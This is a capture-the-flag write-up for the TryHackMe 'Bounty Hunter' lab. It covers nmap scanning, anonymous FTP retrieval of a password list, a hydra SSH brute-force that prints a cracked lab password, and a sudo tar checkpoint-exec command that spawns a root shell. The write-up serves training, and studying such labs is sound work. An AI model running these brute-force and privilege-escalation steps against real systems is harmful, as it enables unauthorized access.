> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/untitled/bounty-hunter.md).

# Bounty Hunter

![](/files/-MbDB-qCzkzn4SooRDbq)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.28.194
```

![](/files/-MbDBViYP0a_GcvJsRQz)

Detailed Nmap Scan : 

Command Breakdown: 

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sC -sV -p 21,22,80 -oN nmap 10.10.28.194
```

![](/files/-MbDC6d_a2P5fbCVBYYd)

## Enumeration

### Port 21

We can see in the nmap scan that Anonymous FTP login is allowed for port 21: FTP. Lets login and see what it has.

```
ftp 10.10.28.194
```

Once we login and check the files that it contains, we can see two files `locks.txt` and `task.txt`, lets transfer both of them onto our machine using the command `get`.

```
get <file-name>
```

![](/files/-MbDDEWaS8tDVEoCtMFd)

Lets read the `task.txt` file first.&#x20;

```
cat task.txt
```

![](/files/-MbDDRVQAcABydj8Fs0m)

We found a user called `lin` which is the answer to the third question.

![](/files/-MbDDYc_yiItjUpjy8ay)

Now lets read the file `locks.txt`

```
cat locks.txt
```

![](/files/-MbDDf97eEodOmCrxSXw)

Looks like a password list. Now with a username and a password list, we can try bruteforcing into ssh using a tool called `hydra`.

## Initial Foothold

Command Breakdown:&#x20;

* (**-l**): Specifying username
* (**-P**): Specifying a file with passwords to crack the password.
* (**ssh**): Specifying which protocol to attack.

```
hydra -l lin -P /root/Desktop/TryHackMe/BountyHacker/locks.txt 10.10.28.194 ssh
```

![](/files/-MbDEBn8N5XMMayVjChr)

We found the password `RedDr4gonSynd1cat3`. Lets login through ssh. Also the answer for the fourth question is SSH and the answer to the fifth question is the password we found using hydra.

![](/files/-MbDF6V8synaYGtIbvjn)

![](/files/-MbDFHIe9YJ5hTcOg5eJ)

We have user privileges, so we can go read the `user.txt` file, which I already did, but you will have to find that on your own. :)

## Privilege Escalation

Lets run the `sudo -l` command to check what files we can run as other users.

```
sudo -l
```

![](/files/-MbDFrcdlTnDVVbFkYfp)

Looks like we can run `/bin/tar` as root. Now we can go to [GTFOBins ](https://gtfobins.github.io/gtfobins/tar/#sudo)and find the commands to privilege escalate to root. The command they gave is this.

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

Once we run this, we are root.

![](/files/-MbDGOJLNB119bAW43q9)

Now you can go read the root.txt file and answer the last question.